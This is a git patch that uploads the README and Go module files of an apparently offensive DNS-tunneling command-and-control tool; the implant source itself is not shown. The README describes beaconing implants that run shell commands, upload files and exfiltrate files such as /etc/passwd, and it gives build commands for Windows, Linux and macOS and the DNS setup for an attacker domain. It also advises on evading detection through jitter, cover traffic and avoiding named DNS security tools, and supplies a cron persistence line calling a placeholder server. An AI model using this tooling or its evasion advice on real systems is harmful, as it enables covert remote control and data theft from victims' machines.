From e2dcfedfb956fba553dc3b583fb5fc8192ab4bdd Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 01:12:16 +0000 Subject: [PATCH] Upload files to "c2s_dns_tunnel" --- c2s_dns_tunnel/README.md | 405 +++++++++++++++++++++++++++++++++++++++ c2s_dns_tunnel/go.mod | 13 ++ c2s_dns_tunnel/go.sum | 14 ++ 3 files changed, 432 insertions(+) create mode 100644 c2s_dns_tunnel/README.md create mode 100644 c2s_dns_tunnel/go.mod create mode 100644 c2s_dns_tunnel/go.sum diff --git a/c2s_dns_tunnel/README.md b/c2s_dns_tunnel/README.md new file mode 100644 index 0000000..2d9954c --- /dev/null +++ b/c2s_dns_tunnel/README.md @@ -0,0 +1,405 @@ +# DNS Tunneling C2 + +A complete command-and-control implementation using DNS tunneling. Commands and +data are encoded into DNS queries and TXT record responses — the cockroach +protocol that survives almost any network. + +``` +┌─────────┐ DNS query (subdomain labels) ┌──────────┐ +│ Implant ├────────────────────────────────────▶│ C2 DNS │ +│(client) │◀────────────────────────────────────│ Server │ +└─────────┘ TXT record response └──────────┘ +``` + +DNS traffic on port 53 is almost never blocked or deeply inspected. This +implementation speaks enough DNS protocol to work with any standard DNS +infrastructure — or you can talk directly to the C2 server over UDP. + +## Architecture + +There are two components: + +### `cmd/server/main.go` — The C2 DNS Server + +- UDP listener on port 5353 (configurable; no root needed) +- Parses incoming DNS queries using + [github.com/miekg/dns](https://github.com/miekg/dns) +- Extracts implant ID, status, and output from query subdomain labels +- Stores pending commands per implant +- Returns commands as TXT record payload +- Interactive operator console + +### `cmd/client/main.go` — The Implant + +- Beacons via DNS queries at configurable intervals +- Encodes status and command output in query subdomain labels +- Receives commands from TXT record responses +- Executes shell commands and sends output back +- Supports file upload/download +- Handles chunked data for large payloads +- Works with system DNS resolver or direct UDP + +## Protocol Format + +### Implant → Server (DNS Query) + +``` +...c2. +``` + +| Component | Description | +|-----------------|--------------------------------------------------| +| `status` | `ready` (no output), `output` (has output) | +| `implant-id` | Unique hex identifier (16 hex chars) | +| `base64-output` | Base64-encoded command output (empty if none) | +| `c2` | Fixed routing label | +| `domain` | Your C2 domain (e.g., `c2.evildomain.com`) | + +**Large Output (chunked):** + +``` +.....c2. +``` + +| Component | Description | +|-----------|------------------------------| +| `seq` | Chunk sequence number (1-N) | +| `total` | Total number of chunks | + +### Server → Implant (TXT Record Response) + +The server returns a TXT record containing a base64-encoded command: + +``` + +``` + +For chunked commands: + +``` +.. +``` + +An empty TXT record means no pending command. + +## Special Commands + +The implant recognizes these built-in commands (not executed as shell commands): + +| Command | Description | +|-------------------------------------|------------------------------------------| +| `__INTERVAL__:` | Change beacon interval | +| `__PING__` | Responds with `PONG` | +| `__SLEEP__:` | Sleep for a Go duration (e.g. `10s`) | +| `__UPLOAD_START__::` | Start file upload (init) | +| `__UPLOAD_CHUNK__:::`| File upload data chunk | +| `__UPLOAD_END__:` | Finalize file upload and write to disk | +| `__DOWNLOAD__:` | Read file and return contents | + +## Chunking Details + +DNS over UDP has a 512-byte limit without EDNS0, and 4096 bytes with EDNS0. +This implementation: + +- Uses EDNS0 to support responses up to 4096 bytes +- Chunks base64 payloads at **400 bytes per label** (well under 512 to leave + room for DNS headers, question section, and other labels) +- Sends chunked data over multiple DNS queries/responses +- Reassembles chunks server-side and client-side + +### Upload Flow + +``` +Server Implant + │ __UPLOAD_START__:/tmp/file:12345 │ + ├─────────────────────────────────────▶│ Init (creates buffer) + │ __UPLOAD_CHUNK__:1:3:YmFzZTY0... │ + ├─────────────────────────────────────▶│ Chunk 1/3 + │ __UPLOAD_CHUNK__:2:3:ZGF0YQo=... │ + ├─────────────────────────────────────▶│ Chunk 2/3 + │ __UPLOAD_CHUNK__:3:3:LnNvbWU=... │ + ├─────────────────────────────────────▶│ Chunk 3/3 + │ __UPLOAD_END__:/tmp/file │ + ├─────────────────────────────────────▶│ Write to disk + │ │ +``` + +### Download Flow + +``` +Server Implant + │ __DOWNLOAD__:/etc/passwd │ + ├─────────────────────────────────────▶│ Read file + │ DOWNLOAD_DATA:/etc/passwd:1234:... │ + ◀─────────────────────────────────────┤ (in next beacon) +``` + +## Build Instructions + +### Prerequisites + +- Go 1.21+ (tested with Go 1.26) +- `github.com/miekg/dns` (DNS protocol library) + +### Build + +```bash +# Clone or navigate to the project +cd c2-dns-tunnel + +# Download dependencies +go mod tidy + +# Build the server +go build -o bin/c2-server ./cmd/server + +# Build the client (implant) +go build -o bin/c2-client ./cmd/client + +# Cross-compile for different targets +GOOS=windows GOARCH=amd64 go build -o bin/c2-client.exe ./cmd/client +GOOS=linux GOARCH=arm64 go build -o bin/c2-client-arm64 ./cmd/client +GOOS=darwin GOARCH=amd64 go build -o bin/c2-client-darwin ./cmd/client +``` + +### Quick Start (Local Testing) + +```bash +# Terminal 1: Start the C2 server on port 5353 +./bin/c2-server -listen :5353 -domain c2.evildomain.com + +# Terminal 2: Start the implant in direct mode +./bin/c2-client -server 127.0.0.1 -direct -id test001 -interval 5 + +# Or use the system resolver (if running on a real network) +./bin/c2-client -id test001 -interval 30 +``` + +## Server Setup + +### Running on Privileged Port 53 + +The server runs on port 5353 by default so it doesn't need root. To redirect +port 53 to 5353: + +```bash +# Redirect external traffic on port 53 to port 5353 +sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353 + +# Also redirect local traffic (for local testing) +sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-port 5353 + +# Make persistent (on Debian/Ubuntu with iptables-persistent) +sudo apt-get install iptables-persistent +sudo netfilter-persistent save +``` + +Alternatively, run directly on port 53 with root: + +```bash +sudo ./bin/c2-server -listen :53 -domain c2.evildomain.com +``` + +### DNS Configuration + +For the implant to resolve DNS queries through your C2 server on the internet: + +1. **Register a domain** (e.g., `evildomain.com`) +2. **Create an NS record** pointing to your C2 server: + ``` + c2.evildomain.com. IN NS ns1.your-server.com. + ``` +3. **Create a glue record** (A record for the nameserver): + ``` + ns1.your-server.com. IN A + ``` +4. **Ensure port 53 is reachable** — your server must accept UDP traffic on + port 53 from the internet + +### Testing DNS Setup + +```bash +# Test that DNS resolution works for your C2 domain +dig TXT anything.c2.evildomain.com @YOUR_SERVER_IP + +# Expected: returns empty TXT record (no pending commands) +``` + +## Server Flags + +``` +Usage: c2-server [-listen :5353] [-domain c2.evildomain.com] + +Environment variables: + C2_LISTEN — Listen address (default :5353) + C2_DOMAIN — C2 domain (default c2.evildomain.com) + +Flags: + -listen Listen address (e.g., ":5353" or ":53") + -domain C2 domain (e.g., "c2.evildomain.com") +``` + +## Client Flags + +``` +Usage: c2-client [options] + +Environment variables: + C2_SERVER — C2 server IP + C2_DOMAIN — C2 domain + C2_IMPLANT_ID — Implant ID (auto if empty) + C2_INTERVAL - Beacon interval in seconds + C2_DIRECT — Use direct UDP mode (1 or true) + +Flags: + -server C2 DNS server IP (for direct mode) + -domain C2 domain (default: c2.evildomain.com) + -id Implant ID (auto-generated if empty) + -interval Query interval in seconds (default: 30) + -direct Send UDP directly to C2 server + -resolver Use system DNS resolver + -config Path to config file (JSON) + -oneshot Run one query and exit +``` + +## Operator Console + +When you start the server, an interactive console opens: + +``` +╔══════════════════════════════════════════════╗ +║ DNS Tunneling C2 — Operator Console ║ +╚══════════════════════════════════════════════╝ + +Available Commands: + help, h, ? — Show help + list, ls — List connected implants + use — Select an implant + back — Deselect current implant + info — Show selected implant info + exec — Execute a command on selected implant + shell — Interactive one-shot shell mode + interval — Set query interval for selected implant + upload — Upload file to implant (chunked) + download — Download file from implant + output — Show pending output from selected implant + clear, cls — Clear screen + exit, q — Quit +``` + +### Usage Example + +``` +C2> ls +IMPLANT ID FIRST SEEN LAST SEEN OUTPUT +────────────────────────────────────────────────────────────────────────────── +a1b2c3d4e5f6g7h8 22:01:15 May11 22:01:15 May11 + +C2> use a1b2c3d4e5f6g7h8 +Selected implant: a1b2c3d4e5f6g7h8 + +C2[a1b2c3d4e5f6g7h8]> exec whoami +Queued command for a1b2c3d4e5f6g7h8: whoami + +C2[a1b2c3d4e5f6g7h8]> exec uname -a +Queued command for a1b2c3d4e5f6g7h8: uname -a + +C2[a1b2c3d4e5f6g7h8]> output +=== Output for a1b2c3d4e5f6g7h8 === +root +Linux target 6.1.0 ... x86_64 GNU/Linux +====================== +``` + +## OpSec Notes + +### Detection Vectors + +DNS tunneling is detectable. Here's what defenders look for: + +1. **Abnormal query volume** — A real client doesn't make DNS queries every + 5-30 seconds for a single domain +2. **Unusual record types** — TXT queries to subdomains that look like + base64 text +3. **Abnormal domain entropy** — Subdomain labels like + `aGVsbG8=.a1b2c3d4e5f6g7h8.c2.evildomain.com` have high entropy (random + characters, base64) compared to normal DNS traffic +4. **Unusual packet sizes** — DNS responses containing large TXT records with + base64 data +5. **Volume anomalies** — Large data transfers generate lots of DNS queries +6. **Unusual TLDs** — Uncommon or suspicious domains + +### Detection Avoidance + +1. **Query rate**: Use longer intervals (60-300 seconds) for stealth +2. **Padding**: Add random subdomains or noise queries to blend in: + ``` + # Add padding labels to queries (future enhancement) + random-label.c2.evildomain.com + random-label2.c2.evildomain.com + ``` +3. **Cover traffic**: Generate legitimate-looking DNS queries alongside C2 + traffic (lookups to google.com, cloudflare.com, etc.) +4. **Use common TLDs**: Register under `.com`, `.net`, or `.org` — avoid + suspicious TLDs +5. **Domain fronting via DNS**: Point your NS record to a CDN or use a + legitimate-looking domain +6. **Jitter**: Add random delay (+/- 30% of interval) to avoid predictable + beacon patterns +7. **Burst mode**: Accumulate output and send in bursts rather than every + query cycle + +### What Synthient Detects + +Synthient and similar DNS security tools detect tunneling through: + +- **Entropy analysis** — base64 labels have high character entropy +- **Statistical patterns** — uniform query timing vs. human/bot traffic +- **Domain graph analysis** — unusual subdomain structures +- **Response size anomalies** — oversized TXT records +- **Fingerprinting** — known C2 frameworks and tunneling tools + +To minimize risk: use low query rates, add jitter, pad with noise data, and +consider HTTP/S-based fallback when DNS tunneling is detected. + +### Persistence + +The implant can persist via: + +- **Linux**: cron jobs, systemd timers, init scripts +- **Windows**: scheduled tasks, registry Run keys, service installation +- **macOS**: launchd plists + +Example cron (1-minute interval): + +```bash +* * * * * /path/to/c2-client -id persistent -interval 60 -direct -server YOUR_SERVER_IP 2>/dev/null & +``` + +## Config File + +The implant can use a JSON config file: + +```json +{ + "server": "192.168.1.100", + "domain": "c2.evildomain.com", + "implantId": "my-persistent-id", + "interval": 60, + "directMode": true, + "useResolver": false +} +``` + +Usage: + +```bash +./c2-client -config implant-config.json +``` + +## License + +This is a demonstration project for cybersecurity research and education. + +**Use responsibly and only on systems you own or have explicit permission to +test.** diff --git a/c2s_dns_tunnel/go.mod b/c2s_dns_tunnel/go.mod new file mode 100644 index 0000000..bf5aee3 --- /dev/null +++ b/c2s_dns_tunnel/go.mod @@ -0,0 +1,13 @@ +module github.com/churchofmalware/c2-dns-tunnel + +go 1.26 + +require github.com/miekg/dns v1.1.64 + +require ( + golang.org/x/mod v0.24.0 // indirect + golang.org/x/net v0.37.0 // indirect + golang.org/x/sync v0.12.0 // indirect + golang.org/x/sys v0.31.0 // indirect + golang.org/x/tools v0.31.0 // indirect +) diff --git a/c2s_dns_tunnel/go.sum b/c2s_dns_tunnel/go.sum new file mode 100644 index 0000000..598a7af --- /dev/null +++ b/c2s_dns_tunnel/go.sum @@ -0,0 +1,14 @@ +github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= +github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/miekg/dns v1.1.64 h1:wuZgD9wwCE6XMT05UU/mlSko71eRSXEAm2EbjQXLKnQ= +github.com/miekg/dns v1.1.64/go.mod h1:Dzw9769uoKVaLuODMDZz9M6ynFU6Em65csPuoi8G0ck= +golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= +golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/net v0.37.0 h1:1zLorHbz+LYj7MQlSf1+2tPIIgibq2eL5xkrGk6f+2c= +golang.org/x/net v0.37.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= +golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= +golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik= +golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= +golang.org/x/tools v0.31.0 h1:0EedkvKDbh+qistFTd0Bcwe/YLh4vHwWEkiI0toFIBU= +golang.org/x/tools v0.31.0/go.mod h1:naFTU+Cev749tSJRXJlna0T3WxKvb1kWEx15xA4SdmQ=